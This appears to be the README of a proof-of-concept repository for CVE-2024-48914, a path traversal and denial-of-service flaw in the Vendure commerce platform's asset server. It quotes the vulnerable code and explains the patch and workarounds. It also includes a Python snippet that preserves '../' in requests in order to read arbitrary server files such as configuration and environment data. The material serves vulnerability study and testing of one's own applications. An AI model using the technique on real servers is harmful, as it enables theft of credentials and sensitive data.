CVE-2024-48914 : vendure-ecommerce Arbitrary file read and DoS Vulnerability
description: Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI. Patches are available in versions 3.0.5 and 2.3.3. Some workarounds are also available. One may use object storage rather than the local file system, e.g. MinIO or S3, or define middleware which detects and blocks requests with urls containing /../.
Download vulnerable version(v3.0.4):

CVE-2024-48914.py (DoS Attack)
vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server.
When using python requests module the "../" it stripped from the urlpath. If you use "prepared requests" like below, you can use python requests module without the "../" stripping from the urlpath.
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
This repository is not intended to be Arbitrary File Read or DoS exploit to CVE-2024-48914. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.
